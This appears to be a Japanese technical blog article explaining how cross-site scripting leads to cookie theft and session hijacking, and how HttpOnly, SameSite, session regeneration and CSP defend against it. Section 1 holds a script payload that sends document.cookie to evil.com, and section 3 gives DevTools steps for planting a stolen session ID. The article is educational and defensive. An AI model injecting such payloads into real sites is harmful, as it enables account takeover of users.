1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】XSS はどのように Cookie を盗み、セッションを乗っ取るのか

Posted at

はじめに

— 攻撃チェーンを完全分解

XSS(Cross-Site Scripting)は“ユーザーのブラウザで攻撃者のスクリプトが動いてしまう”脆弱性だ。
しかし XSS が本当に怖いのは、ただアラートを出すだけでは終わらないこと。

現実の攻撃では、

XSS → Cookie 盗難 → セッション乗っ取り(Session Hijacking)
という、一連の攻撃チェーンでユーザーのアカウントが完全に奪われる。

この記事では、その過程を ①何が起きるのか → ②攻撃者は具体的にどう動くのか → ③防御方法 の順に、わかりやすく解説する。


1. XSS により攻撃者のスクリプトが被害者ブラウザで実行される

XSS が起きると、攻撃者はまるで“被害者のブラウザをリモコン操作”できる状態になる。
つまり:

  • 画面を書き換える
  • フォームを勝手に送信させる
  • ページ内の DOM を読み取る
  • Cookie、LocalStorage、Token を読む(※HTTP-only 以外)

攻撃者にとってブラウザ内は“何でもやり放題のカンバス”になる。

例:攻撃者がコメント欄に仕込む payload

<script>
  fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>

この payload が実行された瞬間…

  • 被害者のブラウザが document.cookie を読み取る
  • 攻撃者のサーバーに送信される

これによって Cookie 盗難フェーズ が成立する。


2. Cookie が盗まれる

Cookie の中には、サイトがユーザーを識別するための セッション ID(SID) が入っていることが多い。
攻撃者のサーバーには次のようなログが届く:

GET /steal?cookie=PHPSESSID=abc123xyz; logged_in=true

攻撃者に必要なのは セッションを識別するためのトークンただ1つ
これさえあれば、本人になりすますのは簡単だ。

セッション ID = 「あなたである証拠書類」
攻撃者はこれをコピーしてログインできてしまう。


3. セッション乗っ取り(Session Hijacking)

攻撃者は盗んだ Cookie を自分のブラウザにセットし、正規ユーザーのセッションとしてアクセスする。

例:ブラウザの DevTools に手動で Cookie を挿入するケース

  1. Chrome DevTools → Application → Cookies
  2. PHPSESSID を被害者と同じ値に書き換える
  3. 正規サイトを開く

すると…
本人確認なしで被害者アカウントに“ログイン状態で”アクセスできてしまう。

攻撃者はそこから:

  • アカウント情報取得
  • メールアドレス変更
  • パスワード変更
  • クレジットカード情報閲覧
  • 乗っ取り完了後、さらに二次攻撃

など、影響は甚大。

攻撃者からすると流れは非常にシンプル:

  1. XSS を注入
  2. Cookie を送信させる
  3. 盗んだ Cookie を自分のブラウザへセット
  4. 完了 → アカウントは攻撃者のもの

人のログイン状態を横取りする攻撃が Session Hijacking(セッションハイジャック) だ。


4. 防御方法 — “XSS を防ぐ”だけでは実は足りない

セキュリティ対策では、「攻撃チェーンをどこで切断するか」が重要。
Cookie 盗難チェーンには、次のような防御ポイントがある。


① XSS をそもそも発生させない

  • 出力エンコード(文脈ごとに)
  • 信頼できないデータをそのまま HTML に入れない
  • innerHTML を使わない
  • React/Vue で dangerouslySetInnerHTML / v-html を安易に使わない

だが、現実には XSS を 100% 防ぐのは難しい。


② Cookie に HttpOnly 属性 を付ける

document.cookie ではアクセス不可になるため、XSS があっても Cookie は盗めない。

Set-Cookie: SESSIONID=...; HttpOnly; Secure; SameSite=Lax

これは XSS があっても最後の砦として機能する最強の対策


③ SameSite 属性で CSRF / XSS 連携を難しくする

  • SameSite=Lax または Strict
  • 不正な第三者サイトからの送信を制限

④ セッション固定化対策

  • ログイン時にセッション ID を必ず再発行する
  • 権限操作時(パスワード変更・支払い処理)でも再発行

⑤ Content Security Policy (CSP)

特に:

script-src 'self'

を適切に設定すると、攻撃者が好きな JS を挿入することが難しくなる。


まとめ — XSS は単独攻撃ではなく「連鎖攻撃の入口」

XSS そのものは「ただスクリプトが動くだけ」に見えるかもしれない。
しかし実際には、次の攻撃につながる“入口”でしかない。

  • Cookie 盗難
  • セッション乗っ取り
  • CSRF と併用
  • フィッシング画面注入
  • アカウント支配
  • 内部 API の不正操作

XSS が1つ見つかった時点で、攻撃者にとっては攻撃範囲が一気に広がる。
だからこそ、攻撃チェーン全体を理解し、どこを切り離すかを意識することが重要だ。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?